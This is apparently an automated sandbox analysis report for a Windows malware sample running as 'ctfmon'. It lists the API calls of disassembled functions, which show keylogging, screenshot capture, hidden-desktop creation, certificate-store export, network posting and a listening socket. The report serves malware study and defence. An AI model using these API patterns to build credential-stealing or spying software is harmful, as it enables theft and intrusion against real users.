      • Part of subcall function 00A4C9F6: PathAddExtensionW.SHLWAPI(00000006,00000000), ref: 00A4CA37
      • Part of subcall function 00A4C9F6: GetFileAttributesW.KERNEL32(00000006), ref: 00A4CA44
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5BA3D, Relevance: 18.1, APIs: 12, Instructions: 75
    APIs
    • DeleteObject.GDI32(00000000), ref: 00A5BA4D
    • CloseHandle.KERNEL32(00000000), ref: 00A5BA5D
    • TlsFree.KERNEL32 ref: 00A5BA68
    • CloseHandle.KERNEL32(00000000), ref: 00A5BA76
    • UnmapViewOfFile.KERNEL32(00000000), ref: 00A5BA80
    • CloseHandle.KERNEL32 ref: 00A5BA8D
    • SelectObject.GDI32(00000000,00000000), ref: 00A5BAA7
    • DeleteObject.GDI32(00000000), ref: 00A5BAB8
    • DeleteDC.GDI32(00000000), ref: 00A5BAC5
    • CloseHandle.KERNEL32(00000000), ref: 00A5BAD6
    • WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00A5BAE5
    • PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,00A5BC3C,00000000,00A645C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 00A5BAFE
      • Part of subcall function 00A49EB0: CloseHandle.KERNEL32(00000000), ref: 00A49EC2
      • Part of subcall function 00A49EB0: CloseHandle.KERNEL32 ref: 00A49ECB
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4A17F, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 92
    APIs
    • HttpOpenRequestA.WININET(?,POST,?,HTTP/1.1,00000000,00A62530,8404F700,00000000), ref: 00A4A1CB
    • InternetQueryOptionA.WININET(?,0000001F,?,00000001), ref: 00A4A217
    • InternetSetOptionW.WININET(?,0000001F,00003100,00000004), ref: 00A4A22C
    • HttpSendRequestA.WININET(?,00A36FA8,00000013,?,?), ref: 00A4A243
    • HttpQueryInfoA.WININET(?,20000013,00000000,?,00000000), ref: 00A4A260
    • InternetCloseHandle.WININET ref: 00A4A278
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A49DBF, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 91
    APIs
    • LoadLibraryA.KERNEL32(userenv.dll), ref: 00A49DD0
    • GetProcAddress.KERNEL32(?,CreateEnvironmentBlock), ref: 00A49DEF
    • GetProcAddress.KERNEL32(?,DestroyEnvironmentBlock), ref: 00A49DFB
    • CreateProcessAsUserW.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00A59EB5,00000000,?,?), ref: 00A49E70
    • CloseHandle.KERNEL32(?), ref: 00A49E83
    • CloseHandle.KERNEL32(?), ref: 00A49E88
    • FreeLibrary.KERNEL32(?), ref: 00A49E9F
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A44B5A, Relevance: 16.6, APIs: 11, Instructions: 119
    APIs
      • Part of subcall function 00A5B77C: GetClassNameW.USER32(?,?,00000101), ref: 00A5B797
    • GetWindowThreadProcessId.USER32(?,?), ref: 00A44B85
    • ResetEvent.KERNEL32(?), ref: 00A44BCD
    • PostMessageW.USER32(?,?), ref: 00A44BF7
    • WaitForSingleObject.KERNEL32(?,00000064), ref: 00A44C06
      • Part of subcall function 00A449F6: WaitForSingleObject.KERNEL32(?,00000000), ref: 00A44A0F
      • Part of subcall function 00A449F6: ResetEvent.KERNEL32(?), ref: 00A44A65
      • Part of subcall function 00A449F6: WaitForSingleObject.KERNEL32(?,000003E8), ref: 00A44AA0
      • Part of subcall function 00A449F6: TerminateProcess.KERNEL32(?,00000000), ref: 00A44AB1
    • ResetEvent.KERNEL32(?), ref: 00A44C31
    • PostThreadMessageW.USER32(?,?,000000FC,?), ref: 00A44C45
    • WaitForSingleObject.KERNEL32(?,000003E8), ref: 00A44C57
    • TerminateProcess.KERNEL32(?,00000000), ref: 00A44C7A
      • Part of subcall function 00A49EB0: CloseHandle.KERNEL32(00000000), ref: 00A49EC2
      • Part of subcall function 00A49EB0: CloseHandle.KERNEL32 ref: 00A49ECB
    • IntersectRect.USER32(?,?,?), ref: 00A44CA2
    • FillRect.USER32(?,?,00000006), ref: 00A44CB4
    • DrawEdge.USER32(?,?,0000000A,0000000F), ref: 00A44CC8
      • Part of subcall function 00A4CB9A: StringFromGUID2.OLE32(?,00000064,00000028), ref: 00A4CC37
      • Part of subcall function 00A4BD45: OpenMutexW.KERNEL32(00100000,00000000,00000000), ref: 00A4BD50
      • Part of subcall function 00A4BD45: CloseHandle.KERNEL32 ref: 00A4BD5B
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5CCB0, Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 274
    APIs
      • Part of subcall function 00A4CC75: WindowFromPoint.USER32(?,?), ref: 00A4CC91
      • Part of subcall function 00A4CC75: SendMessageTimeoutW.USER32(?,00000084,00000000,?,00000002,?,?), ref: 00A4CCC2
      • Part of subcall function 00A4CC75: GetWindowLongW.USER32(?,000000F0), ref: 00A4CCE6
      • Part of subcall function 00A4CC75: SetWindowLongW.USER32(?,000000F0), ref: 00A4CCF7
      • Part of subcall function 00A4CC75: GetWindowLongW.USER32(00000002,000000F0), ref: 00A4CD14
      • Part of subcall function 00A4CC75: SetWindowLongW.USER32(?,000000F0), ref: 00A4CD22
    • GetWindowLongW.USER32(?,000000F0), ref: 00A5CDBC
    • GetParent.USER32 ref: 00A5CDDE
    • GetWindowThreadProcessId.USER32(?,00000000), ref: 00A5CE03
    • IsWindow.USER32(?), ref: 00A5CE26
      • Part of subcall function 00A5C7B3: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A5C7B9
      • Part of subcall function 00A5C7B3: ReleaseMutex.KERNEL32 ref: 00A5C7ED
      • Part of subcall function 00A5C7B3: IsWindow.USER32(?), ref: 00A5C7F4
      • Part of subcall function 00A5C7B3: PostMessageW.USER32(?,00000215,00000000,?), ref: 00A5C80E
      • Part of subcall function 00A5C7B3: SendMessageW.USER32(?,00000215,00000000,?), ref: 00A5C816
    • GetWindowInfo.USER32(?,?), ref: 00A5CE76
    • PostMessageW.USER32(?,0000020A,?,?,00000000,?,?,00000000), ref: 00A5CFB3
      • Part of subcall function 00A5CA22: GetAncestor.USER32(?,00000002), ref: 00A5CA4B
      • Part of subcall function 00A5CA22: SendMessageTimeoutW.USER32(?,00000021,?,?,00000002,00000064,?), ref: 00A5CA76
      • Part of subcall function 00A5CA22: PostMessageW.USER32(?,00000020,?), ref: 00A5CAB8
      • Part of subcall function 00A5CA22: GetWindowThreadProcessId.USER32(?,00000000), ref: 00A5CB4E
      • Part of subcall function 00A5CA22: PostMessageW.USER32(?,00000112,?,?), ref: 00A5CBA1
      • Part of subcall function 00A5CA22: GetWindowThreadProcessId.USER32(?,00000000), ref: 00A5CBE0
      • Part of subcall function 00A5B77C: GetClassNameW.USER32(?,?,00000101), ref: 00A5B797
      • Part of subcall function 00A5C822: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A5C836
      • Part of subcall function 00A5C822: ReleaseMutex.KERNEL32 ref: 00A5C855
      • Part of subcall function 00A5C822: GetWindowRect.USER32(?,?), ref: 00A5C862
      • Part of subcall function 00A5C822: IsRectEmpty.USER32(?), ref: 00A5C8E6
      • Part of subcall function 00A5C822: GetWindowLongW.USER32(?,000000F0), ref: 00A5C8F5
      • Part of subcall function 00A5C822: GetParent.USER32(?), ref: 00A5C90B
      • Part of subcall function 00A5C822: MapWindowPoints.USER32(00000000), ref: 00A5C914
      • Part of subcall function 00A5C822: SetWindowPos.USER32(?,00000000,?,?,?,?,0000630C), ref: 00A5C938
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A56A3F, Relevance: 15.3, APIs: 10, Instructions: 310
    APIs
    • Sleep.KERNEL32(00000BB8), ref: 00A56A79
      • Part of subcall function 00A50477: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00A504BA
    • CoInitializeEx.OLE32(00000000,00000002), ref: 00A56AB1
    • #6.OLEAUT32(00000004,?,?), ref: 00A56D3F
      • Part of subcall function 00A5697C: StringFromGUID2.OLE32(00A37254,?,00000032), ref: 00A56995
      • Part of subcall function 00A5697C: CoGetObject.OLE32(?,?,00A37264,?), ref: 00A569F0
    • CoCreateInstance.OLE32(00A37254,00000000,00004401,00A37264,?), ref: 00A56B0D
    • SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 00A56BE1
      • Part of subcall function 00A4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A4DEF5
    • #2.OLEAUT32(?,?,?,?,?), ref: 00A56C17
    • #2.OLEAUT32(?,?,?), ref: 00A56C2B
    • CoCreateInstance.OLE32(00A37274,00000000,00004401,00A37284,?), ref: 00A56CC6
    • #6.OLEAUT32(?,?,?), ref: 00A56D27
    • #6.OLEAUT32(00000004,?,?,?), ref: 00A56D2C
      • Part of subcall function 00A4EBA1: CoUninitialize.OLE32 ref: 00A4EBAF
      • Part of subcall function 00A50533: CreateMutexW.KERNEL32(00A62AFC,00000000,Global\{F0DDC10A-AA1F-173E-A961-10791936558D}), ref: 00A50556
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A58F82, Relevance: 15.2, APIs: 10, Instructions: 197
    APIs
      • Part of subcall function 00A37ED5: CreateMutexW.KERNEL32(00A62AFC,00000000,?), ref: 00A37EF6
    • InterlockedExchange.KERNEL32(00A64188,00000002,-00000007), ref: 00A58FB5
      • Part of subcall function 00A3803E: WaitForSingleObject.KERNEL32(00000000,00A50285), ref: 00A38046
      • Part of subcall function 00A58964: PathRemoveFileSpecW.SHLWAPI(00A64398), ref: 00A589A0
      • Part of subcall function 00A58964: PathRenameExtensionW.SHLWAPI(?,.tmp), ref: 00A589C0
      • Part of subcall function 00A58964: GetFileAttributesW.KERNEL32(00A64190), ref: 00A589E3
    • GetFileAttributesW.KERNEL32(?), ref: 00A59079
    • CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 00A590A1
      • Part of subcall function 00A4D92E: GetFileSizeEx.KERNEL32(?,?), ref: 00A4D93A
    • CloseHandle.KERNEL32 ref: 00A590BF
    • lstrcmpiW.KERNEL32(?,?), ref: 00A590EF
    • MoveFileExW.KERNEL32(?,?,0000000B), ref: 00A59114
      • Part of subcall function 00A4FC68: RegOpenKeyExW.ADVAPI32(80000001,00A63E88,00000000,00000001,?), ref: 00A4FC91
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
      • Part of subcall function 00A58AB9: GetTickCount.KERNEL32 ref: 00A58BB5
      • Part of subcall function 00A58AB9: GetUserDefaultUILanguage.KERNEL32 ref: 00A58C06
      • Part of subcall function 00A58AB9: GetModuleFileNameW.KERNEL32(00000000,?,00000103,?,?,00000000), ref: 00A58C4B
      • Part of subcall function 00A58AB9: GetUserNameExW.SECUR32(00000002,?,00000104,?,?,00000000), ref: 00A58C91
      • Part of subcall function 00A59500: WaitForSingleObject.KERNEL32(?,00001388), ref: 00A59556
      • Part of subcall function 00A59500: Sleep.KERNEL32(00001388), ref: 00A59565
      • Part of subcall function 00A4E6B7: FlushFileBuffers.KERNEL32 ref: 00A4E6C3
      • Part of subcall function 00A4E6B7: CloseHandle.KERNEL32(?), ref: 00A4E6CB
    • WaitForSingleObject.KERNEL32(00007530), ref: 00A591BF
    • InterlockedExchange.KERNEL32(00A64188,?), ref: 00A591DB
      • Part of subcall function 00A4BD18: ReleaseMutex.KERNEL32 ref: 00A4BD1C
    • GetFileAttributesW.KERNEL32(00A64190), ref: 00A591F7
    • InterlockedExchange.KERNEL32(00A64188,00000000), ref: 00A5920C
      • Part of subcall function 00A4D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00A4D95E
      • Part of subcall function 00A4D955: DeleteFileW.KERNEL32(?), ref: 00A4D968
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5886A, Relevance: 15.1, APIs: 10, Instructions: 92
    APIs
    • OpenWindowStationW.USER32(00000014,00000000,10000000), ref: 00A5888F
    • CreateWindowStationW.USER32(00000014,00000000,10000000,00000000), ref: 00A588A2
    • GetProcessWindowStation.USER32 ref: 00A588B3
      • Part of subcall function 00A58842: GetProcessWindowStation.USER32 ref: 00A58846
      • Part of subcall function 00A58842: SetProcessWindowStation.USER32(00000000), ref: 00A5885A
    • OpenDesktopW.USER32(?,00000000,00000000,10000000), ref: 00A588EE
    • CreateDesktopW.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00A58902
    • GetCurrentThreadId.KERNEL32 ref: 00A5890E
    • GetThreadDesktop.USER32 ref: 00A58915
      • Part of subcall function 00A587FD: lstrcmpiW.KERNEL32 ref: 00A58822
    • SetThreadDesktop.USER32 ref: 00A58927
    • CloseDesktop.USER32 ref: 00A58939
    • CloseWindowStation.USER32(?), ref: 00A58954
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A59ED2, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 99
    APIs
    • LoadLibraryW.KERNEL32(?), ref: 00A59EE9
    • GetProcAddress.KERNEL32(?,?), ref: 00A59F15
    • GetProcAddress.KERNEL32(?,00000006), ref: 00A59F2C
    • GetProcAddress.KERNEL32(?,00000000), ref: 00A59F44
    • FreeLibrary.KERNEL32(?), ref: 00A59FCD
      • Part of subcall function 00A49B6C: GetCurrentThread.KERNEL32 ref: 00A49B7C
      • Part of subcall function 00A49B6C: OpenThreadToken.ADVAPI32 ref: 00A49B83
      • Part of subcall function 00A49B6C: OpenProcessToken.ADVAPI32(000000FF,00000020,00A59F61), ref: 00A49B95
      • Part of subcall function 00A49B6C: LookupPrivilegeValueW.ADVAPI32(00000000,00A59F61,?), ref: 00A49BB9
      • Part of subcall function 00A49B6C: AdjustTokenPrivileges.ADVAPI32(00A59F61,00000000,00000001,00000000,00000000,00000000), ref: 00A49BCE
      • Part of subcall function 00A49B6C: GetLastError.KERNEL32 ref: 00A49BD8
      • Part of subcall function 00A49B6C: CloseHandle.KERNEL32(00A59F61), ref: 00A49BE7
    • WTSGetActiveConsoleSessionId.KERNEL32 ref: 00A59F61
      • Part of subcall function 00A59E61: EqualSid.ADVAPI32(?,?), ref: 00A59E86
      • Part of subcall function 00A59E61: CloseHandle.KERNEL32(?), ref: 00A59EC7
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A51F30, Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 416
    APIs
      • Part of subcall function 00A491F6: CharLowerA.USER32(?), ref: 00A492C6
      • Part of subcall function 00A491F6: CharLowerA.USER32(?), ref: 00A492D0
      • Part of subcall function 00A482C2: WideCharToMultiByte.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 00A482DD
      • Part of subcall function 00A48130: HeapAlloc.KERNEL32(00000008,?,00A4C881), ref: 00A48141
      • Part of subcall function 00A480EB: HeapAlloc.KERNEL32(00000008,?,00A4847D,?,00A37A97,?,00A48FC7,?,?,00A37A97,?,?,00A48F77,?,?,?), ref: 00A4810D
      • Part of subcall function 00A480EB: HeapReAlloc.KERNEL32(00000008,?,?,00A4847D,?,00A37A97,?,00A48FC7,?,?,00A37A97,?,?,00A48F77,?,?), ref: 00A4811E
      • Part of subcall function 00A4D156: StrCmpNIA.SHLWAPI(00000001,nbsp;,00000005), ref: 00A4D279
    • InternetCrackUrlA.WININET(00000000,00000000,00000000,?), ref: 00A52289
    • GetSystemTime.KERNEL32(?), ref: 00A522A8
      • Part of subcall function 00A48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A48EB4
    • LeaveCriticalSection.KERNEL32(00A63FEC), ref: 00A5241A
      • Part of subcall function 00A49656: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00A4966F
      • Part of subcall function 00A49656: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00A49687
      • Part of subcall function 00A49656: CryptHashData.ADVAPI32(?,00000010,?,00000000), ref: 00A496A3
      • Part of subcall function 00A49656: CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 00A496BB
      • Part of subcall function 00A49656: CryptDestroyHash.ADVAPI32(?), ref: 00A496D2
      • Part of subcall function 00A49656: CryptReleaseContext.ADVAPI32(?,00000000), ref: 00A496DC
    • GetLocalTime.KERNEL32(?), ref: 00A523B2
      • Part of subcall function 00A4C7EE: RegCreateKeyExW.ADVAPI32(80000001,7C809F91,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 00A4C80C
      • Part of subcall function 00A4C7EE: RegSetValueExW.ADVAPI32(00000000,?,00000000,?,00000004,?), ref: 00A4C826
      • Part of subcall function 00A4C7EE: RegCloseKey.ADVAPI32(00000000), ref: 00A4C835
    • EnterCriticalSection.KERNEL32(00A63FEC,00000000), ref: 00A523DE
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A53F77, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 148
    APIs
      • Part of subcall function 00A4C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 00A4C6C6
      • Part of subcall function 00A4C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00A4C748
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00A53FDE
      • Part of subcall function 00A53D7F: GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00A53DB6
      • Part of subcall function 00A53D7F: StrStrIW.SHLWAPI(?,?), ref: 00A53E48
      • Part of subcall function 00A53D7F: StrStrIW.SHLWAPI(?,?), ref: 00A53E59
      • Part of subcall function 00A53D7F: GetPrivateProfileStringW.KERNEL32(?,?,?,?,000000FF,?), ref: 00A53E75
      • Part of subcall function 00A53D7F: GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00A53E93
      • Part of subcall function 00A53D7F: GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00A53EAD
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 00A53FFB
    • SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?), ref: 00A54077
      • Part of subcall function 00A4DD7A: FindFirstFileW.KERNEL32(?,?), ref: 00A4DDB9
      • Part of subcall function 00A4DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00A4DDE0
      • Part of subcall function 00A4DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00A4DE2A
      • Part of subcall function 00A4DD7A: Sleep.KERNEL32(00000000), ref: 00A4DE57
      • Part of subcall function 00A4DD7A: Sleep.KERNEL32(00000000), ref: 00A4DE87
      • Part of subcall function 00A4DD7A: FindNextFileW.KERNEL32(?,?), ref: 00A4DEB5
      • Part of subcall function 00A4DD7A: FindClose.KERNEL32(?), ref: 00A4DEC7
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00A54118
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A58575, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107
    APIs
    • TranslateMessage.USER32(?), ref: 00A586D3
      • Part of subcall function 00A3803E: WaitForSingleObject.KERNEL32(00000000,00A50285), ref: 00A38046
    • EnterCriticalSection.KERNEL32(00A64170), ref: 00A585AF
    • LeaveCriticalSection.KERNEL32(00A64170), ref: 00A58659
      • Part of subcall function 00A47B9E: LoadLibraryA.KERNEL32(gdiplus.dll), ref: 00A47BD0
      • Part of subcall function 00A47B9E: GetProcAddress.KERNEL32(?,GdiplusStartup), ref: 00A47BE1
      • Part of subcall function 00A47B9E: GetProcAddress.KERNEL32(00000000,GdiplusShutdown), ref: 00A47BEE
      • Part of subcall function 00A47B9E: GetProcAddress.KERNEL32(00000000,GdipCreateBitmapFromHBITMAP), ref: 00A47BFB
      • Part of subcall function 00A47B9E: GetProcAddress.KERNEL32(00000000,GdipDisposeImage), ref: 00A47C08
      • Part of subcall function 00A47B9E: GetProcAddress.KERNEL32(00000000,GdipGetImageEncodersSize), ref: 00A47C15
      • Part of subcall function 00A47B9E: GetProcAddress.KERNEL32(00000000,GdipGetImageEncoders), ref: 00A47C22
      • Part of subcall function 00A47B9E: GetProcAddress.KERNEL32(00000000,GdipSaveImageToStream), ref: 00A47C2F
      • Part of subcall function 00A47B9E: LoadLibraryA.KERNEL32(ole32.dll), ref: 00A47C77
      • Part of subcall function 00A47B9E: GetProcAddress.KERNEL32(?,CreateStreamOnHGlobal), ref: 00A47C82
      • Part of subcall function 00A47B9E: LoadLibraryA.KERNEL32(gdi32.dll), ref: 00A47C94
      • Part of subcall function 00A47B9E: GetProcAddress.KERNEL32(?,CreateDCW), ref: 00A47C9F
      • Part of subcall function 00A47B9E: GetProcAddress.KERNEL32(00000001,CreateCompatibleDC), ref: 00A47CAB
      • Part of subcall function 00A47B9E: GetProcAddress.KERNEL32(00000001,CreateCompatibleBitmap), ref: 00A47CB8
      • Part of subcall function 00A47B9E: GetProcAddress.KERNEL32(00000001,GetDeviceCaps), ref: 00A47CC5
      • Part of subcall function 00A47B9E: GetProcAddress.KERNEL32(00000001,SelectObject), ref: 00A47CD2
      • Part of subcall function 00A47B9E: GetProcAddress.KERNEL32(00000001,BitBlt), ref: 00A47CDF
      • Part of subcall function 00A47B9E: GetProcAddress.KERNEL32(00000001,DeleteObject), ref: 00A47CEC
      • Part of subcall function 00A47B9E: FreeLibrary.KERNEL32(00000000), ref: 00A48030
      • Part of subcall function 00A47B9E: FreeLibrary.KERNEL32(?), ref: 00A4803A
      • Part of subcall function 00A47B9E: FreeLibrary.KERNEL32(00000001), ref: 00A48044
    • GetTickCount.KERNEL32 ref: 00A5861B
      • Part of subcall function 00A48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A48EB4
    • GetKeyboardState.USER32(?), ref: 00A58673
    • ToUnicode.USER32(0000001B,?,?,?,00000009,00000000), ref: 00A5869B
      • Part of subcall function 00A583EA: EnterCriticalSection.KERNEL32(00A64170,?,?,?,00A586D2,00000000,?,?,?,00000009,00000000), ref: 00A58407
      • Part of subcall function 00A583EA: LeaveCriticalSection.KERNEL32(00A64170,?,?,00A586D2,00000000,?,?,?,00000009,00000000), ref: 00A58428
      • Part of subcall function 00A583EA: EnterCriticalSection.KERNEL32(00A64170,?,?,?,?,00A586D2,00000000,?,?,?,00000009,00000000), ref: 00A58439
      • Part of subcall function 00A583EA: LeaveCriticalSection.KERNEL32(00A64170,?,?,?,?,00A586D2,00000000,?,?,?,00000009,00000000), ref: 00A584C1
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A3A6E3, Relevance: 12.2, APIs: 8, Instructions: 151
    APIs
      • Part of subcall function 00A37ED5: CreateMutexW.KERNEL32(00A62AFC,00000000,?), ref: 00A37EF6
      • Part of subcall function 00A3803E: WaitForSingleObject.KERNEL32(00000000,00A50285), ref: 00A38046
    • WaitForSingleObject.KERNEL32(000003E8,?), ref: 00A3A74E
    • CloseHandle.KERNEL32(?), ref: 00A3A8B8
      • Part of subcall function 00A50533: CreateMutexW.KERNEL32(00A62AFC,00000000,Global\{F0DDC10A-AA1F-173E-A961-10791936558D}), ref: 00A50556
    • WaitForMultipleObjects.KERNEL32(?,?,00000000,000000FF), ref: 00A3A7E8
    • WSAEventSelect.WS2_32(?,00000000,00000000), ref: 00A3A829
    • WSAIoctl.WS2_32(?,8004667E,?,00000004,00000000,00000000,?,00000000,00000000), ref: 00A3A849
      • Part of subcall function 00A4B93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 00A4B953
      • Part of subcall function 00A49ED7: CreateThread.KERNEL32(00000000,00A5AB01,00080000,00A5AE68), ref: 00A49EEB
      • Part of subcall function 00A49ED7: CloseHandle.KERNEL32 ref: 00A49EF6
    • accept.WS2_32(?,00000000,00000000), ref: 00A3A874
    • WaitForMultipleObjects.KERNEL32(?,00000004,00000000), ref: 00A3A888
      • Part of subcall function 00A4B8E5: shutdown.WS2_32(?,00000002), ref: 00A4B8ED
      • Part of subcall function 00A4B8E5: #3.WS2_32(?,?,00000002,00A5AC91,?,?,?,?,54C73B8B,3C3D0F99), ref: 00A4B8F4
    • CloseHandle.KERNEL32(?), ref: 00A3A8A9
      • Part of subcall function 00A4BD18: ReleaseMutex.KERNEL32 ref: 00A4BD1C
      • Part of subcall function 00A50477: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00A504BA
      • Part of subcall function 00A3A45D: getsockname.WS2_32(?,?,?), ref: 00A3A4B4
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A50A6C, Relevance: 12.1, APIs: 8, Instructions: 120
    APIs
    • CertOpenSystemStoreW.CRYPT32(00000000,00A371B8), ref: 00A50A87
    • CertEnumCertificatesInStore.CRYPT32(?,00000000), ref: 00A50AA3
    • CertEnumCertificatesInStore.CRYPT32 ref: 00A50AAF
    • PFXExportCertStoreEx.CRYPT32(?,00000004,?,00000000,00000004), ref: 00A50AED
      • Part of subcall function 00A48130: HeapAlloc.KERNEL32(00000008,?,00A4C881), ref: 00A48141
    • PFXExportCertStoreEx.CRYPT32(?,00000004,00000000,00000000,00000004,?,00000004,?,00000000,00000004), ref: 00A50B1A
    • CharLowerW.USER32 ref: 00A50B38
    • GetSystemTime.KERNEL32(?), ref: 00A50B43
      • Part of subcall function 00A50A0E: GetUserNameExW.SECUR32(00000002,?,?,00000000,?,?,00A50B63,?,?,00000004,00000000,00000000,00000004,?,00000004,?), ref: 00A50A23
      • Part of subcall function 00A48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A48EB4
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    • CertCloseStore.CRYPT32(?,00000000,?,00000000), ref: 00A50BCB
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A56F66, Relevance: 12.1, APIs: 8, Instructions: 116
    APIs
    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00A56F87
    • Process32FirstW.KERNEL32(?,00C1FD4C), ref: 00A56FB0
      • Part of subcall function 00A37E34: CreateMutexW.KERNEL32(00A62AFC,00000001,00C1FF20), ref: 00A37E7C
    • OpenProcess.KERNEL32(00000400,00000000,?), ref: 00A5700B
    • CloseHandle.KERNEL32(?), ref: 00A570AC
      • Part of subcall function 00A49AB7: OpenProcessToken.ADVAPI32(00A62AC0,00000008,00A62AC0), ref: 00A49AC7
      • Part of subcall function 00A49AB7: GetTokenInformation.ADVAPI32(00A62AC0,0000000C,00000000,00000004,00A62F90), ref: 00A49AF3
      • Part of subcall function 00A49AB7: CloseHandle.KERNEL32(00A62AC0), ref: 00A49B08
    • CloseHandle.KERNEL32 ref: 00A57028
    • GetLengthSid.ADVAPI32(?,?,?,00C1FF78), ref: 00A5703B
